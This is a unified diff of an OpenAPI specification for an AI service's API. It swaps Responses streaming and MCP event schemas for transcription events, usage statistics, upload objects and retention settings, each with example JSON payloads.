- "model": "gpt-6-astra",
- "output": [],
- "parallel_tool_calls": true,
- "previous_response_id": null,
- "reasoning": {
- "effort": null,
- "summary": null
- },
- "store": true,
- "temperature": 1,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1,
- "truncation": "disabled",
- "usage": null,
- "user": null,
- "metadata": {}
- },
- "sequence_number": 1
- }
- ResponseIncompleteEvent:
- type: object
+ ToolsArray:
+ type: array
description: |
- An event that is emitted when a response finishes as incomplete.
+ An array of tools the model may call while generating a response. You
+ can specify which tool to use by setting the `tool_choice` parameter.
- Over WebSocket, steering can finish a response with
- `response.incomplete_details.reason` set to `steered`, followed automatically
- by a successor `response.created` that commits the queued steering input.
+ We support the following categories of tools:
+ - **Built-in tools**: Tools that are provided by OpenAI that extend the
+ model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
+ - **MCP Tools**: Integrations with third-party systems via custom MCP servers
+ or predefined connectors such as Google Drive and SharePoint. Learn more about
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
+ - **Function calls (custom tools)**: Functions that are defined by you,
+ enabling the model to call your own code with strongly typed arguments
+ and outputs. Learn more about
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling). You can also use
+ custom tools to call your own code.
+ items:
+ $ref: '#/components/schemas/Tool'
+ TranscriptTextDeltaEvent:
+ type: object
+ description: Emitted when there is an additional text delta. This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
properties:
type:
type: string
description: |
- The type of the event. Always `response.incomplete`.
+ The type of the event. Always `transcript.text.delta`.
enum:
- - response.incomplete
+ - transcript.text.delta
x-stainless-const: true
- response:
- $ref: '#/components/schemas/Response'
+ delta:
+ type: string
description: |
- The response that was incomplete.
- sequence_number:
- type: integer
- description: The sequence number of this event.
- required:
- - type
- - response
- - sequence_number
- x-oaiMeta:
- name: response.incomplete
- group: responses
- example: |
- {
- "type": "response.incomplete",
- "response": {
- "id": "resp_123",
- "object": "response",
- "created_at": 1740855869,
- "status": "incomplete",
- "completed_at": null,
- "error": null,
- "incomplete_details": {
- "reason": "max_tokens"
- },
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [],
- "previous_response_id": null,
- "reasoning_effort": null,
- "store": false,
- "temperature": 1,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1,
- "truncation": "disabled",
- "usage": null,
- "user": null,
- "metadata": {}
- },
- "sequence_number": 1
- }
- ResponseItemList:
- type: object
- description: A list of Response items.
- properties:
- object:
- x-stainless-const: true
- description: The type of object returned, must be `list`.
- const: list
- data:
+ The text delta that was additionally transcribed.
+ logprobs:
type: array
- description: A list of items used to generate this response.
+ description: |
+ The log probabilities of the delta. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
items:
- $ref: '#/components/schemas/ItemResource'
- has_more:
- type: boolean
- description: Whether there are more items available.
- first_id:
- type: string
- description: The ID of the first item in the list.
- last_id:
+ type: object
+ properties:
+ token:
+ type: string
+ description: |
+ The token that was used to generate the log probability.
+ logprob:
+ type: number
+ description: |
+ The log probability of the token.
+ bytes:
+ type: array
+ items:
+ type: integer
+ description: |
+ The bytes that were used to generate the log probability.
+ segment_id:
type: string
- description: The ID of the last item in the list.
+ description: |
+ Identifier of the diarized segment that this delta belongs to. Only present when using `gpt-4o-transcribe-diarize`.
required:
- - object
- - data
- - has_more
- - first_id
- - last_id
- x-oaiMeta:
- name: The input item list
- group: responses
- example: |
- {
- "object": "list",
- "data": [
- {
- "id": "msg_abc123",
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "Tell me a three sentence bedtime story about a unicorn."
- }
- ]
- }
- ],
- "first_id": "msg_abc123",
- "last_id": "msg_abc123",
- "has_more": false
+ - type
+ - delta
+ x-oaiMeta:
+ name: Stream Event (transcript.text.delta)
+ group: transcript
+ example: |
+ {
+ "type": "transcript.text.delta",
+ "delta": " wonderful"
}
- ResponseLogProb:
+ TranscriptTextDoneEvent:
type: object
- description: "A logprob is the logarithmic probability that the model assigns to producing \na particular token at a given position in the sequence. Less-negative (higher) \nlogprob values indicate greater model confidence in that token choice.\n"
+ description: Emitted when the transcription is complete. Contains the complete transcription text. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
properties:
- token:
- description: A possible text token.
+ type:
type: string
- logprob:
description: |
- The log probability of this token.
- type: number
- top_logprobs:
+ The type of the event. Always `transcript.text.done`.
+ enum:
+ - transcript.text.done
+ x-stainless-const: true
+ text:
+ type: string
description: |
- The log probabilities of up to 20 of the most likely tokens.
+ The text that was transcribed.
+ languages:
+ type: array
+ description: |
+ The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
+ items:
+ $ref: '#/components/schemas/TranscriptionLanguage'
+ logprobs:
type: array
+ description: |
+ The log probabilities of the individual tokens in the transcription. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
items:
type: object
properties:
token:
- description: A possible text token.
type: string
+ description: |
+ The token that was used to generate the log probability.
logprob:
- description: The log probability of this token.
type: number
+ description: |
+ The log probability of the token.
+ bytes:
+ type: array
+ items:
+ type: integer
+ description: |
+ The bytes that were used to generate the log probability.
+ usage:
+ $ref: '#/components/schemas/TranscriptTextUsageTokens'
required:
- - token
- - logprob
- ResponseMCPCallArgumentsDeltaEvent:
+ - type
+ - text
+ x-oaiMeta:
+ name: Stream Event (transcript.text.done)
+ group: transcript
+ example: |
+ {
+ "type": "transcript.text.done",
+ "text": "I see skies of blue and clouds of white, the bright blessed days, the dark sacred nights, and I think to myself, what a wonderful world.",
+ "usage": {
+ "type": "tokens",
+ "input_tokens": 14,
+ "input_token_details": {
+ "text_tokens": 10,
+ "audio_tokens": 4
+ },
+ "output_tokens": 31,
+ "total_tokens": 45
+ }
+ }
+ TranscriptTextSegmentEvent:
type: object
- title: ResponseMCPCallArgumentsDeltaEvent
description: |
- Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with `stream` set to `true` and `response_format` set to `diarized_json`.
properties:
type:
type: string
+ description: The type of the event. Always `transcript.text.segment`.
enum:
- - response.mcp_call_arguments.delta
- description: The type of the event. Always 'response.mcp_call_arguments.delta'.
+ - transcript.text.segment
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- item_id:
+ id:
type: string
- description: The unique identifier of the MCP tool call item being processed.
- delta:
+ description: Unique identifier for the segment.
+ start:
+ type: number
+ format: double
+ description: Start timestamp of the segment in seconds.
+ end:
+ type: number
+ format: double
+ description: End timestamp of the segment in seconds.
+ text:
type: string
- description: |
- A JSON string containing the partial update to the arguments for the MCP tool call.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ description: Transcript text for this segment.
+ speaker:
+ type: string
+ description: Speaker label for this segment.
required:
- type
- - output_index
- - item_id
- - delta
- - sequence_number
+ - id
+ - start
+ - end
+ - text
+ - speaker
x-oaiMeta:
- name: response.mcp_call_arguments.delta
- group: responses
+ name: Stream Event (transcript.text.segment)
+ group: transcript
example: |
{
- "type": "response.mcp_call_arguments.delta",
- "output_index": 0,
- "item_id": "item-abc",
- "delta": "{",
- "sequence_number": 1
+ "type": "transcript.text.segment",
+ "id": "seg_002",
+ "start": 5.2,
+ "end": 12.8,
+ "text": "Hi, I need help with diarization.",
+ "speaker": "A"
}
- ResponseMCPCallArgumentsDoneEvent:
+ TranscriptTextUsageDuration:
type: object
- title: ResponseMCPCallArgumentsDoneEvent
- description: |
- Emitted when the arguments for an MCP tool call are finalized.
+ title: TranscriptTextUsageDuration
+ description: Usage statistics for models billed by audio input duration.
properties:
type:
type: string
enum:
- - response.mcp_call_arguments.done
- description: The type of the event. Always 'response.mcp_call_arguments.done'.
+ - duration
+ description: The type of the usage object. Always `duration` for this variant.
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- item_id:
- type: string
- description: The unique identifier of the MCP tool call item being processed.
- arguments:
- type: string
- description: |
- A JSON string containing the finalized arguments for the MCP tool call.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ seconds:
+ type: number
+ format: double
+ description: Duration of the input audio in seconds.
required:
- type
- - output_index
- - item_id
- - arguments
- - sequence_number
- x-oaiMeta:
- name: response.mcp_call_arguments.done
- group: responses
- example: |
- {
- "type": "response.mcp_call_arguments.done",
- "output_index": 0,
- "item_id": "item-abc",
- "arguments": "{\"arg1\": \"value1\", \"arg2\": \"value2\"}",
- "sequence_number": 1
- }
- ResponseMCPCallCompletedEvent:
+ - seconds
+ TranscriptTextUsageTokens:
type: object
- title: ResponseMCPCallCompletedEvent
- description: |
- Emitted when an MCP tool call has completed successfully.
+ title: TranscriptTextUsageTokens
+ description: Usage statistics for models billed by token usage.
properties:
type:
type: string
enum:
- - response.mcp_call.completed
- description: The type of the event. Always 'response.mcp_call.completed'.
+ - tokens
+ description: The type of the usage object. Always `tokens` for this variant.
x-stainless-const: true
- item_id:
- type: string
- description: The ID of the MCP tool call item that completed.
- output_index:
+ input_tokens:
type: integer
- description: The index of the output item that completed.
- sequence_number:
+ description: Number of input tokens billed for this request.
+ input_token_details:
+ type: object
+ description: Details about the input tokens billed for this request.
+ properties:
+ text_tokens:
+ type: integer
+ description: Number of text tokens billed for this request.
+ audio_tokens:
+ type: integer
+ description: Number of audio tokens billed for this request.
+ output_tokens:
type: integer
- description: The sequence number of this event.
+ description: Number of output tokens generated.
+ total_tokens:
+ type: integer
+ description: Total number of tokens used (input + output).
required:
- type
- - item_id
- - output_index
- - sequence_number
- x-oaiMeta:
- name: response.mcp_call.completed
- group: responses
- example: |
- {
- "type": "response.mcp_call.completed",
- "sequence_number": 1,
- "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90",
- "output_index": 0
- }
- ResponseMCPCallFailedEvent:
+ - input_tokens
+ - output_tokens
+ - total_tokens
+ TranscriptionChunkingStrategy:
+ anyOf:
+ - description: 'Controls how the audio is cut into chunks. When set to `"auto"`, the server first normalizes loudness and then uses voice activity detection (VAD) to choose boundaries. `server_vad` object can be provided to tweak VAD detection parameters manually. If unset, the audio is transcribed as a single block. Required when using `gpt-4o-transcribe-diarize` for inputs longer than 30 seconds. '
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ default: auto
+ description: |
+ Automatically set chunking parameters based on the audio. Must be set to `"auto"`.
+ x-stainless-const: true
+ - $ref: '#/components/schemas/VadConfig'
+ x-oaiTypeLabel: string
+ - type: 'null'
+ TranscriptionDiarizedSegment:
type: object
- title: ResponseMCPCallFailedEvent
- description: |
- Emitted when an MCP tool call has failed.
+ description: A segment of diarized transcript text with speaker metadata.
properties:
type:
type: string
+ description: |
+ The type of the segment. Always `transcript.text.segment`.
enum:
- - response.mcp_call.failed
- description: The type of the event. Always 'response.mcp_call.failed'.
+ - transcript.text.segment
x-stainless-const: true
- item_id:
+ id:
type: string
- description: The ID of the MCP tool call item that failed.
- output_index:
- type: integer
- description: The index of the output item that failed.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ description: Unique identifier for the segment.
+ start:
+ type: number
+ format: double
+ description: Start timestamp of the segment in seconds.
+ end:
+ type: number
+ format: double
+ description: End timestamp of the segment in seconds.
+ text:
+ type: string
+ description: Transcript text for this segment.
+ speaker:
+ type: string
+ description: |
+ Speaker label for this segment. When known speakers are provided, the label matches `known_speaker_names[]`. Otherwise speakers are labeled sequentially using capital letters (`A`, `B`, ...).
required:
- type
- - item_id
- - output_index
- - sequence_number
- x-oaiMeta:
- name: response.mcp_call.failed
- group: responses
- example: |
- {
- "type": "response.mcp_call.failed",
- "sequence_number": 1,
- "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90",
- "output_index": 0
- }
- ResponseMCPCallInProgressEvent:
+ - id
+ - start
+ - end
+ - text
+ - speaker
+ TranscriptionInclude:
+ type: string
+ enum:
+ - logprobs
+ TranscriptionLanguage:
type: object
- title: ResponseMCPCallInProgressEvent
- description: |
- Emitted when an MCP tool call is in progress.
+ description: A language detected in transcribed audio.
properties:
- type:
+ code:
type: string
- enum:
- - response.mcp_call.in_progress
- description: The type of the event. Always 'response.mcp_call.in_progress'.
- x-stainless-const: true
- sequence_number:
+ description: The code of a language detected in the audio.
+ required:
+ - code
+ TranscriptionSegment:
+ type: object
+ properties:
+ id:
type: integer
- description: The sequence number of this event.
- output_index:
+ description: Unique identifier of the segment.
+ seek:
type: integer
- description: The index of the output item in the response's output array.
- item_id:
+ description: Seek offset of the segment.
+ start:
+ type: number
+ format: double
+ description: Start time of the segment in seconds.
+ end:
+ type: number
+ format: double
+ description: End time of the segment in seconds.
+ text:
type: string
- description: The unique identifier of the MCP tool call item being processed.
+ description: Text content of the segment.
+ tokens:
+ type: array
+ items:
+ type: integer
+ description: Array of token IDs for the text content.
+ temperature:
+ type: number
+ format: float
+ description: Temperature parameter used for generating the segment.
+ avg_logprob:
+ type: number
+ format: float
+ description: Average logprob of the segment. If the value is lower than -1, consider the logprobs failed.
+ compression_ratio:
+ type: number
+ format: float
+ description: Compression ratio of the segment. If the value is greater than 2.4, consider the compression failed.
+ no_speech_prob:
+ type: number
+ format: float
+ description: Probability of no speech in the segment. If the value is higher than 1.0 and the `avg_logprob` is below -1, consider this segment silent.
+ required:
+ - id
+ - seek
+ - start
+ - end
+ - text
+ - tokens
+ - temperature
+ - avg_logprob
+ - compression_ratio
+ - no_speech_prob
+ TranscriptionWord:
+ type: object
+ properties:
+ word:
+ type: string
+ description: The text content of the word.
+ start:
+ type: number
+ format: double
+ description: Start time of the word in seconds.
+ end:
+ type: number
+ format: double
+ description: End time of the word in seconds.
+ required:
+ - word
+ - start
+ - end
+ TruncationObject:
+ type: object
+ title: Thread Truncation Controls
+ description: Controls for how a thread will be truncated prior to the run. Use this to control the initial context window of the run.
+ properties:
+ type:
+ type: string
+ description: The truncation strategy to use for the thread. The default is `auto`. If set to `last_messages`, the thread will be truncated to the n most recent messages in the thread. When set to `auto`, messages in the middle of the thread will be dropped to fit the context length of the model, `max_prompt_tokens`.
+ enum:
+ - auto
+ - last_messages
+ last_messages:
+ anyOf:
+ - type: integer
+ description: The number of most recent messages from the thread when constructing the context for the run.
+ minimum: 1
+ - type: 'null'
required:
- type
- - output_index
- - item_id
- - sequence_number
+ UpdateGroupBody:
+ type: object
+ description: Request payload for updating the details of an existing group.
+ properties:
+ name:
+ type: string
+ description: New display name for the group.
+ minLength: 1
+ maxLength: 255
+ required:
+ - name
x-oaiMeta:
- name: response.mcp_call.in_progress
- group: responses
example: |
{
- "type": "response.mcp_call.in_progress",
- "sequence_number": 1,
- "output_index": 0,
- "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90"
+ "name": "Escalations"
}
- ResponseMCPListToolsCompletedEvent:
+ UpdateOrganizationDataRetentionBody:
type: object
- title: ResponseMCPListToolsCompletedEvent
- description: |
- Emitted when the list of available MCP tools has been successfully retrieved.
+ description: Parameters for updating organization data retention controls.
properties:
- type:
+ retention_type:
type: string
enum:
- - response.mcp_list_tools.completed
- description: The type of the event. Always 'response.mcp_list_tools.completed'.
- x-stainless-const: true
- item_id:
+ - zero_data_retention
+ - modified_abuse_monitoring
+ - enhanced_zero_data_retention
+ - enhanced_modified_abuse_monitoring
+ description: The desired organization data retention type.
+ required:
+ - retention_type
+ UpdateProjectDataRetentionBody:
+ type: object
+ description: Parameters for updating project data retention controls.
+ properties:
+ retention_type:
type: string
- description: The ID of the MCP tool call item that produced this output.
- output_index:
- type: integer
- description: The index of the output item that was processed.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ enum:
+ - organization_default
+ - none
+ - zero_data_retention
+ - modified_abuse_monitoring
+ - enhanced_zero_data_retention
+ - enhanced_modified_abuse_monitoring
+ description: The desired project data retention type.
required:
- - type
- - item_id
- - output_index
- - sequence_number
+ - retention_type
+ UpdateProjectServiceAccountBody:
+ type: object
+ description: Parameters for updating a project service account.
+ properties:
+ name:
+ type: string
+ description: The updated service account name.
+ role:
+ type: string
+ enum:
+ - member
+ - owner
+ description: The updated service account role.
+ UpdateVectorStoreFileAttributesRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
+ required:
+ - attributes
x-oaiMeta:
- name: response.mcp_list_tools.completed
- group: responses
- example: |
- {
- "type": "response.mcp_list_tools.completed",
- "sequence_number": 1,
- "output_index": 0,
- "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
- }
- ResponseMCPListToolsFailedEvent:
+ name: Update vector store file attributes request
+ UpdateVectorStoreRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ name:
+ description: The name of the vector store.
+ type: string
+ nullable: true
+ expires_after:
+ allOf:
+ - $ref: '#/components/schemas/VectorStoreExpirationAfter'
+ - nullable: true
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ UpdateVoiceConsentRequest:
type: object
- title: ResponseMCPListToolsFailedEvent
- description: |
- Emitted when the attempt to list available MCP tools has failed.
+ additionalProperties: false
properties:
- type:
- type: string
- enum:
- - response.mcp_list_tools.failed
- description: The type of the event. Always 'response.mcp_list_tools.failed'.
- x-stainless-const: true
- item_id:
+ name:
type: string
- description: The ID of the MCP tool call item that failed.
- output_index:
- type: integer
- description: The index of the output item that failed.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ description: The updated label for this consent recording.
required:
- - type
- - item_id
- - output_index
- - sequence_number
- x-oaiMeta:
- name: response.mcp_list_tools.failed
- group: responses
- example: |
- {
- "type": "response.mcp_list_tools.failed",
- "sequence_number": 1,
- "output_index": 0,
- "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
- }
- ResponseMCPListToolsInProgressEvent:
+ - name
+ Upload:
type: object
- title: ResponseMCPListToolsInProgressEvent
+ title: Upload
description: |
- Emitted when the system is in the process of retrieving the list of available MCP tools.
+ The Upload object can accept byte chunks in the form of Parts.
properties:
- type:
- type: string
- enum:
- - response.mcp_list_tools.in_progress
- description: The type of the event. Always 'response.mcp_list_tools.in_progress'.
- x-stainless-const: true
- item_id:
+ id:
type: string
- description: The ID of the MCP tool call item that is being processed.
- output_index:
+ description: The Upload unique identifier, which can be referenced in API endpoints.
+ created_at:
type: integer
- description: The index of the output item that is being processed.
- sequence_number:
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the Upload was created.
+ filename:
+ type: string
+ description: The name of the file to be uploaded.
+ bytes:
type: integer
- description: The sequence number of this event.
- required:
- - type
- - item_id
- - output_index
- - sequence_number
- x-oaiMeta:
- name: response.mcp_list_tools.in_progress
- group: responses
- example: |
- {
- "type": "response.mcp_list_tools.in_progress",
- "sequence_number": 1,
- "output_index": 0,
- "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
- }
- ResponseModalities:
- anyOf:
- - type: array
- description: |
- Output types that you would like the model to generate.
- Most models are capable of generating text, which is the default:
-
- `["text"]`
-
- The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://developers.openai.com/api/docs/guides/audio). To request that this model generate
- both text and audio responses, you can use:
-
- `["text", "audio"]`
- items:
+ description: The intended number of bytes to be uploaded.
+ purpose:
type: string
+ description: The intended purpose of the file. [Please refer here](https://developers.openai.com/api/reference/resources/files#%28resource%29%20files%20%3E%20%28model%29%20file_object%20%3E%20%28schema%29%20%3E%20%28property%29%20purpose) for acceptable values.
+ status:
+ type: string
+ description: The status of the Upload.
enum:
- - text
- - audio
- - type: 'null'
- ResponseOutputItemAddedEvent:
- type: object
- description: Emitted when a new output item is added.
- properties:
- type:
+ - pending
+ - completed
+ - cancelled
+ - expired
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the Upload will expire.
+ object:
type: string
- description: |
- The type of the event. Always `response.output_item.added`.
+ description: The object type, which is always "upload".
enum:
- - response.output_item.added
+ - upload
x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that was added.
- sequence_number:
- type: integer
- description: |
- The sequence number of this event.
- item:
- $ref: '#/components/schemas/OutputItem'
- description: |
- The output item that was added. For reasoning items, `encrypted_content`
- may be incomplete while the item is in progress. Use the reasoning item
- from the corresponding `response.output_item.done` event when passing it
- as input to a subsequent request.
+ file:
+ allOf:
+ - $ref: '#/components/schemas/OpenAIFile'
+ - nullable: true
+ description: The ready File object after the Upload is completed.
required:
- - type
- - output_index
- - item
- - sequence_number
+ - bytes
+ - created_at
+ - expires_at
+ - filename
+ - id
+ - purpose
+ - status
+ - object
x-oaiMeta:
- name: response.output_item.added
- group: responses
+ name: The upload object
example: |
{
- "type": "response.output_item.added",
- "output_index": 0,
- "item": {
- "id": "msg_123",
- "status": "in_progress",
- "type": "message",
- "role": "assistant",
- "content": []
- },
- "sequence_number": 1
+ "id": "upload_abc123",
+ "object": "upload",
+ "bytes": 2147483648,
+ "created_at": 1719184911,
+ "filename": "training_examples.jsonl",
+ "purpose": "fine-tune",
+ "status": "completed",
+ "expires_at": 1719127296,
+ "file": {
+ "id": "file-xyz321",
+ "object": "file",
+ "bytes": 2147483648,
+ "created_at": 1719186911,
+ "filename": "training_examples.jsonl",
+ "purpose": "fine-tune",
+ }
}
- ResponseOutputItemDoneEvent:
+ UploadCertificateRequest:
type: object
- description: Emitted when an output item is marked done.
properties:
- type:
+ name:
type: string
- description: |
- The type of the event. Always `response.output_item.done`.
+ description: An optional name for the certificate
+ certificate:
+ type: string
+ description: The certificate content in PEM format
+ required:
+ - certificate
+ UploadPart:
+ type: object
+ title: UploadPart
+ description: |
+ The upload Part represents a chunk of bytes we can add to an Upload object.
+ properties:
+ id:
+ type: string
+ description: The upload Part unique identifier, which can be referenced in API endpoints.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the Part was created.
+ upload_id:
+ type: string
+ description: The ID of the Upload object that this Part was added to.
+ object:
+ type: string
+ description: The object type, which is always `upload.part`.
enum:
- - response.output_item.done
+ - upload.part
x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that was marked done.
- sequence_number:
- type: integer
- description: |
- The sequence number of this event.
- item:
- $ref: '#/components/schemas/OutputItem'
- description: |
- The output item that was marked done.
required:
- - type
- - output_index
- - item
- - sequence_number
+ - created_at
+ - id
+ - object
+ - upload_id
x-oaiMeta:
- name: response.output_item.done
- group: responses
+ name: The upload part object
example: |
{
- "type": "response.output_item.done",
- "output_index": 0,
- "item": {
- "id": "msg_123",
- "status": "completed",
- "type": "message",
- "role": "assistant",
- "content": [
- {
- "type": "output_text",
- "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
- "annotations": []
- }
- ]
- },
- "sequence_number": 1
+ "id": "part_def456",
+ "object": "upload.part",
+ "created_at": 1719186911,
+ "upload_id": "upload_abc123"
}
- ResponseOutputTextAnnotationAddedEvent:
+ UsageAudioSpeechesResult:
type: object
- title: ResponseOutputTextAnnotationAddedEvent
- description: |
- Emitted when an annotation is added to output text content.
+ description: The aggregated audio speeches usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
enum:
- - response.output_text.annotation.added
- description: The type of the event. Always 'response.output_text.annotation.added'.
+ - organization.usage.audio_speeches.result
x-stainless-const: true
- item_id:
- type: string
- description: The unique identifier of the item to which the annotation is being added.
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- content_index:
- type: integer
- description: The index of the content part within the output item.
- annotation_index:
+ characters:
type: integer
- description: The index of the annotation within the content part.
- sequence_number:
+ description: The number of characters processed.
+ num_model_requests:
type: integer
- description: The sequence number of this event.
- annotation:
+ description: The count of requests made to the model.
+ project_id:
anyOf:
- - $ref: '#/components/schemas/Annotation'
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- type: 'null'
- description: The annotation object being added. (See annotation schema for details.)
- required:
- - type
- - item_id
- - output_index
- - content_index
- - annotation_index
- - annotation
- - sequence_number
- x-oaiMeta:
- name: response.output_text.annotation.added
- group: responses
- example: |
- {
- "type": "response.output_text.annotation.added",
- "item_id": "item-abc",
- "output_index": 0,
- "content_index": 0,
- "annotation_index": 0,
- "annotation": {
- "type": "file_citation",
- "file_id": "file-abc",
- "index": 0,
- "filename": "example.txt"
- },
- "sequence_number": 1
- }
- ResponsePromptVariables:
- anyOf:
- - type: object
- title: Prompt Variables
- description: |
- Optional map of values to substitute in for variables in your
- prompt. The substitution values can either be strings, or other
- Response input types like images or files.
- x-oaiExpandable: true
- x-oaiTypeLabel: map
- additionalProperties:
- x-oaiExpandable: true
- x-oaiTypeLabel: map
+ user_id:
anyOf:
- type: string
- - $ref: '#/components/schemas/InputTextContent'
- - $ref: '#/components/schemas/InputImageContent'
- - $ref: '#/components/schemas/InputFileContent'
- - type: 'null'
- ResponseProperties:
- type: object
- properties:
- previous_response_id:
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
anyOf:
- type: string
- description: |
- The unique ID of the previous response to the model. Use this to
- create multi-turn conversations. Learn more about
- [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
- type: 'null'
model:
- description: |
- Model ID used to generate the response, like `gpt-6-astra`. OpenAI
- offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
- to browse and compare available models.
- $ref: '#/components/schemas/ModelIdsResponses'
- background:
- anyOf:
- - type: boolean
- description: |
- Whether to run the model response in the background.
- [Learn more](https://developers.openai.com/api/docs/guides/background).
- default: false
- - type: 'null'
- max_tool_calls:
anyOf:
- - description: |
- The maximum number of total calls to built-in tools that can be processed in a response. This maximum number applies across all built-in tool calls, not per individual tool. Any further attempts to call a tool by the model will be ignored.
- type: integer
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
- type: 'null'
- text:
- $ref: '#/components/schemas/ResponseTextParam'
- tools:
- $ref: '#/components/schemas/ToolsArray'
- tool_choice:
- $ref: '#/components/schemas/ToolChoiceParam'
- prompt:
- $ref: '#/components/schemas/Prompt'
- ResponseQueuedEvent:
- type: object
- title: ResponseQueuedEvent
- description: |
- Emitted when a response is queued and waiting to be processed.
- properties:
- type:
- type: string
- enum:
- - response.queued
- description: The type of the event. Always 'response.queued'.
- x-stainless-const: true
- response:
- $ref: '#/components/schemas/Response'
- description: The full response object that is queued.
- sequence_number:
- type: integer
- description: The sequence number for this event.
required:
- - type
- - response
- - sequence_number
+ - object
+ - characters
+ - num_model_requests
x-oaiMeta:
- name: response.queued
- group: responses
+ name: Audio speeches usage object
example: |
{
- "type": "response.queued",
- "response": {
- "id": "res_123",
- "status": "queued",
- "created_at": "2021-01-01T00:00:00Z",
- "updated_at": "2021-01-01T00:00:00Z"
- },
- "sequence_number": 1
+ "object": "organization.usage.audio_speeches.result",
+ "characters": 45,
+ "num_model_requests": 1,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "tts-1"
}
- ResponseReasoningSummaryPartAddedEvent:
+ UsageAudioTranscriptionsResult:
type: object
- description: Emitted when a new reasoning summary part is added.
+ description: The aggregated audio transcriptions usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_summary_part.added`.
enum:
- - response.reasoning_summary_part.added
+ - organization.usage.audio_transcriptions.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this summary part is associated with.
- output_index:
- type: integer
- description: |
- The index of the output item this summary part is associated with.
- summary_index:
+ seconds:
type: integer
- description: |
- The index of the summary part within the reasoning summary.
- sequence_number:
+ format: int64
+ description: The number of seconds processed.
+ num_model_requests:
type: integer
- description: |
- The sequence number of this event.
- part:
- type: object
- description: |
- The summary part that was added.
- properties:
- type:
- type: string
- description: The type of the summary part. Always `summary_text`.
- enum:
- - summary_text
- x-stainless-const: true
- text:
- type: string
- description: The text of the summary part.
- required:
- - type
- - text
+ description: The count of requests made to the model.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - summary_index
- - part
- - sequence_number
+ - object
+ - seconds
+ - num_model_requests
x-oaiMeta:
- name: response.reasoning_summary_part.added
- group: responses
+ name: Audio transcriptions usage object
example: |
{
- "type": "response.reasoning_summary_part.added",
